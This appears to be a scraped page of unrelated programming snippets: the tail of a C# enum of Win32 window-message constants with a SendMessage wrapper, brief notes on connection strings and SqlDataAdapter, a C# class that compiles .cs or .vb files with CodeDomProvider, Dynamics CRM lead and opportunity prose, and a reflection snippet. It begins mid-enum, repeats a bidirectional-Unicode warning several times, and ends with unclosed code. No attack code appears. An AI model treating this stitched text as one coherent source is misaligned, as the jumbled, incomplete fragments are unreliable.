=0x103,WM_DELETEITEM=0x2D,WM_DESTROY=0x2,WM_DESTROYCLIPBOARD=0x307,WM_DEVICECHANGE=0x219,WM_DEVMODECHANGE=0x1B,WM_DISPLAYCHANGE=0x7E,WM_DRAWCLIPBOARD=0x308,WM_DRAWITEM=0x2B,WM_DROPFILES=0x233,WM_ENABLE=0xA,WM_ENDSESSION=0x16,WM_ENTERIDLE=0x121,WM_ENTERMENULOOP=0x211,WM_ENTERSIZEMOVE=0x231,WM_ERASEBKGND=0x14,WM_EXITMENULOOP=0x212,WM_EXITSIZEMOVE=0x232,WM_FONTCHANGE=0x1D,WM_FORWARDMSG=0x37F,WM_GETDLGCODE=0x87,WM_GETFONT=0x31,WM_GETHOTKEY=0x33,WM_GETICON=0x7F,WM_GETMINMAXINFO=0x24,WM_GETOBJECT=0x3D,WM_GETTEXT=0xD,WM_GETTEXTLENGTH=0xE,WM_HANDHELDFIRST=0x358,WM_HANDHELDLAST=0x35F,WM_HELP=0x53,WM_HOTKEY=0x312,WM_HSCROLL=0x114,WM_HSCROLLCLIPBOARD=0x30E,WM_ICONERASEBKGND=0x27,WM_IME_CHAR=0x286,WM_IME_COMPOSITION=0x10F,WM_IME_COMPOSITIONFULL=0x284,WM_IME_CONTROL=0x283,WM_IME_ENDCOMPOSITION=0x10E,WM_IME_KEYDOWN=0x290,WM_IME_KEYLAST=0x10F,WM_IME_KEYUP=0x291,WM_IME_NOTIFY=0x282,WM_IME_REPORT=0x280,WM_IME_REQUEST=0x288,WM_IME_SELECT=0x285,WM_IME_SETCONTEXT=0x281,WM_IME_STARTCOMPOSITION=0x10D,WM_IMEKEYDOWN=0x290,WM_IMEKEYUP=0x291,WM_INITDIALOG=0x110,WM_INITMENU=0x116,WM_INITMENUPOPUP=0x117,WM_INPUTLANGCHANGE=0x51,WM_INPUTLANGCHANGEREQUEST=0x50,WM_INTERIM=0x10C,WM_KEYDOWN=0x100,WM_KEYFIRST=0x100,WM_KEYLAST=0x108,WM_KEYUP=0x101,WM_KILLFOCUS=0x8,WM_LBUTTONDBLCLK=0x203,WM_LBUTTONDOWN=0x201,WM_LBUTTONUP=0x202,WM_MBUTTONDBLCLK=0x209,WM_MBUTTONDOWN=0x207,WM_MBUTTONUP=0x208,WM_MDIACTIVATE=0x222,WM_MDICASCADE=0x227,WM_MDICREATE=0x220,WM_MDIDESTROY=0x221,WM_MDIGETACTIVE=0x229,WM_MDIICONARRANGE=0x228,WM_MDIMAXIMIZE=0x225,WM_MDINEXT=0x224,WM_MDIREFRESHMENU=0x234,WM_MDIRESTORE=0x223,WM_MDISETMENU=0x230,WM_MDITILE=0x226,WM_MEASUREITEM=0x2C,WM_MENUCHAR=0x120,WM_MENUCOMMAND=0x126,WM_MENUDRAG=0x123,WM_MENUGETOBJECT=0x124,WM_MENURBUTTONUP=0x122,WM_MENUSELECT=0x11F,WM_MOUSEACTIVATE=0x21,WM_MOUSEFIRST=0x200,WM_MOUSEHOVER=0x2A1,WM_MOUSELAST=0x209,WM_MOUSELEAVE=0x2A3,WM_MOUSEMOVE=0x200,WM_MOUSEWHEEL=0x20A,WM_MOVE=0x3,WM_MOVING=0x216,WM_NCACTIVATE=0x86,WM_NCCALCSIZE=0x83,WM_NCCREATE=0x81,WM_NCDESTROY=0x82,WM_NCHITTEST=0x84,WM_NCLBUTTONDBLCLK=0xA3,WM_NCLBUTTONDOWN=0xA1,WM_NCLBUTTONUP=0xA2,WM_NCMBUTTONDBLCLK=0xA9,WM_NCMBUTTONDOWN=0xA7,WM_NCMBUTTONUP=0xA8,WM_NCMOUSEHOVER=0x2A0,WM_NCMOUSELEAVE=0x2A2,WM_NCMOUSEMOVE=0xA0,WM_NCPAINT=0x85,WM_NCRBUTTONDBLCLK=0xA6,WM_NCRBUTTONDOWN=0xA4,WM_NCRBUTTONUP=0xA5,WM_NCXBUTTONDOWN=0xAB,WM_NCXBUTTONUP=0xAC,WM_NEXTDLGCTL=0x28,WM_NEXTMENU=0x213,WM_NOTIFY=0x4E,WM_NOTIFYFORMAT=0x55,WM_NULL=0x0,WM_OTHERWINDOWCREATED=0x42,WM_OTHERWINDOWDESTROYED=0x43,WM_PAINT=0xF,WM_PAINTCLIPBOARD=0x309,WM_PAINTICON=0x26,WM_PALETTECHANGED=0x311,WM_PALETTEISCHANGING=0x310,WM_PARENTNOTIFY=0x210,WM_PASTE=0x302,WM_PENWINFIRST=0x380,WM_PENWINLAST=0x38F,WM_POWER=0x48,WM_POWERBROADCAST=0x218,WM_PRINT=0x317,WM_PRINTCLIENT=0x318,WM_PSD_ENVSTAMPRECT=(WM_USER+5),WM_PSD_FULLPAGERECT=(WM_USER+1),WM_PSD_GREEKTEXTRECT=(WM_USER+4),WM_PSD_MARGINRECT=(WM_USER+3),WM_PSD_MINMARGINRECT=(WM_USER+2),WM_PSD_PAGESETUPDLG=(WM_USER),WM_PSD_YAFULLPAGERECT=(WM_USER+6),WM_QUERYDRAGICON=0x37,WM_QUERYENDSESSION=0x11,WM_QUERYNEWPALETTE=0x30F,WM_QUERYOPEN=0x13,WM_QUERYUISTATE=0x129,WM_QUEUESYNC=0x23,WM_QUIT=0x12,WM_RASDIALEVENT=0xCCCD,WM_RBUTTONDBLCLK=0x206,WM_RBUTTONDOWN=0x204,WM_RBUTTONUP=0x205,WM_RENDERALLFORMATS=0x306,WM_RENDERFORMAT=0x305,WM_SETCURSOR=0x20,WM_SETFOCUS=0x7,WM_SETFONT=0x30,WM_SETHOTKEY=0x32,WM_SETICON=0x80,WM_SETREDRAW=0xB,WM_SETTEXT=0xC,WM_SETTINGCHANGE=WM_WININICHANGE,WM_SHOWWINDOW=0x18,WM_SIZE=0x5,WM_SIZECLIPBOARD=0x30B,WM_SIZING=0x214,WM_SPOOLERSTATUS=0x2A,WM_STYLECHANGED=0x7D,WM_STYLECHANGING=0x7C,WM_SYNCPAINT=0x88,WM_SYSCHAR=0x106,WM_SYSCOLORCHANGE=0x15,WM_SYSCOMMAND=0x112,WM_SYSDEADCHAR=0x107,WM_SYSKEYDOWN=0x104,WM_SYSKEYUP=0x105,WM_TCARD=0x52,WM_TIMECHANGE=0x1E,WM_TIMER=0x113,WM_UNDO=0x304,WM_UNINITMENUPOPUP=0x125,WM_UPDATEUISTATE=0x128,WM_USERCHANGED=0x54,WM_VKEYTOITEM=0x2E,WM_VSCROLL=0x115,WM_VSCROLLCLIPBOARD=0x30A,WM_WINDOWPOSCHANGED=0x47,WM_WINDOWPOSCHANGING=0x46,WM_WININICHANGE=0x1A,WM_WNT_CONVERTREQUESTEX=0x109,WM_XBUTTONDBLCLK=0x20D,WM_XBUTTONDOWN=0x20B,WM_XBUTTONUP=0x20C}publicstaticintWIN32_SendMessage(inthandle,WMww,intWParam,intLParam){intwm=(int)ww;intret=SendMessage(handle,wm,WParam,LParam);returnret;}}}
In computing, a connection string is a string that specifies information about a data source and the means of connecting to it. It is passed in code to an underlying driver or provider in order to initiate the connection.
This is an example of a utility to facilitates the db connection.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SqlDataAdapter is a part of the ADO.NET Data Provider and it resides in the System.Data.SqlClient namespace. SqlDataAdapter provides the communication between the Dataset and the SQL database. We can use SqlDataAdapter Object in combination with Dataset Object.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//dot net compiler
using System;
using System.CodeDom.Compiler;
using System.IO;
namespace IndiLogix.dotCompiler
{
class dotCompiler
{
FileInfo sourceFile;// = new FileInfo(sourceName);
CodeDomProvider provider = null;
bool compileOk = false;
// Compile Executable
public bool CompileExecutable(String sourceName)
{
sourceFile = new FileInfo(sourceName);
I_GetProvider(sourceFile);
if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS")
{
provider = CodeDomProvider.CreateProvider("CSharp");
//return "CSharp";
}
if (provider != null)
{
// Format the executable file name.
// Build the output assembly path using the current directory
// and _cs.exe or _vb.exe.
String exeName = String.Format(@"{0}\{1}.exe",
System.Environment.CurrentDirectory,
sourceFile.Name.Replace(".", "_"));
string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_"));
CompilerParameters cp = new CompilerParameters();
// Generate an executable instead of a class library.
cp.GenerateExecutable = true;
// Specify the assembly file name to generate.
cp.OutputAssembly = exeName;
// Save the assembly as a physical file.
cp.GenerateInMemory = false;
// Set whether to treat all warnings as errors.
cp.TreatWarningsAsErrors = false;
// Invoke compilation of the source file.
CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName);
string temp;
if (cr.Errors.Count > 0)
{
// Display compilation errors.
temp = sourceName + "\n" + cr.PathToAssembly;
foreach (CompilerError ce in cr.Errors)
{
temp += "\nError:" + ce.ToString();
}
System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK);
}
else
{
// Display a successful compilation message.
//Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly);
System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly,"dotCompiler:)",System.Windows.Forms.MessageBoxButtons.OK);
}
// Return the results of the compilation.
if (cr.Errors.Count > 0)
{
compileOk = false;
}
else
{
compileOk = true;
}
}
return compileOk;
}
private void I_GetProvider(FileInfo sourceFile)
{
// Select the code provider based on the input file extension.
if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS")
{
provider = CodeDomProvider.CreateProvider("CSharp");
}
else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB")
{
provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic");
}
else
{
//Console.WriteLine("Source file must have a .cs or .vb extension");
//_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error);
System.Windows.Forms.MessageBox.Show(
"Source file must have *.cs or *.vb extension", "dotCompiler Error",
System.Windows.Forms.MessageBoxButtons.OK);
}
}
private string I_GetProvider_RetStr(FileInfo sourceFile)
{
// Select the code provider based on the input file extension.
if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS")
{
provider = CodeDomProvider.CreateProvider("CSharp");
return "CSharp";
}
else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB")
{
provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic");
return "VisualBasic";
}
else
{
//Console.WriteLine("Source file must have a .cs or .vb extension");
//_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error);
return "Source file must have *.cs or *.vb extension";
}
}
public bool CompileDll(String sourceName)
{
sourceFile = new FileInfo(sourceName);
I_GetProvider(sourceFile);
if (provider != null)
{
// Format the executable file name.
// Build the output assembly path using the current directory
// and _cs.exe or _vb.exe.
String exeName = String.Format(@"{0}\{1}.exe",
System.Environment.CurrentDirectory,
sourceFile.Name.Replace(".", "_"));
string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_"));
CompilerParameters cp = new CompilerParameters();
// Generate an executable instead of a class library.
cp.GenerateExecutable = false;
// Specify the assembly file name to generate.
cp.OutputAssembly = dllName;
// Save the assembly as a physical file.
cp.GenerateInMemory = false;
// Set whether to treat all warnings as errors.
cp.TreatWarningsAsErrors = false;
// Invoke compilation of the source file.
CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName);
string temp;
if (cr.Errors.Count > 0)
{
// Display compilation errors.
temp = "compiling " + sourceName + " to " + cr.PathToAssembly;
foreach (CompilerError ce in cr.Errors)
{
temp += "\nError:" + ce.ToString();
}
System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK);
}
else
{
// Display a successful compilation message.
//Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly);
System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly, "dotCompiler:)", System.Windows.Forms.MessageBoxButtons.OK);
}
// Return the results of the compilation.
if (cr.Errors.Count > 0)
{
compileOk = false;
}
else
{
compileOk = true;
}
}
return compileOk;
}
}
}
A lead record in Microsoft Dynamics CRM Online represents a potential customer who must be qualified or disqualified as a sales opportunity. You can use leads to manage potential sales from the point at which you become aware of a customer's interest through the successful sale.
The following diagram illustrates the ways that you can create a lead and convert it to several different record types.
There are several ways that you can create a lead in Microsoft Dynamics CRM Online:
After you create the lead, you can convert it into any of the following three record types:
Account
Contact
Opportunity
When you convert the lead to an opportunity, you can also choose to link the new opportunity to the new accounts or contacts you may have created, or to an existing account or contact in your Microsoft Dynamics CRM Online database.
An opportunity is a potential sale or possible revenue from an account or contact.
The following diagram illustrates the ways that you can create an opportunity and close it when the potential customer decides whether to move forward with the sale.
There are several ways that you can create an opportunity in Microsoft Dynamics CRM:
This C# code snippet displays a list of all the Assembly attributes contained in an assembly file.
using System.Reflection;
// Change the LoadFrom argument to point to your assembly file
Assembly assembly =
Assembly.LoadFrom (@"C:\Documents\ClassLibrary.dll");
object[] attibutes = assembly.GetCustomAttributes (true);
if (attibutes .Length > 0)
{
Console.WriteLine ("Assembly attributes for '{0}'", assembly );
foreach (object o in attibutes) {
Console.WriteLine ("Attribute: {0}", o.ToString());
}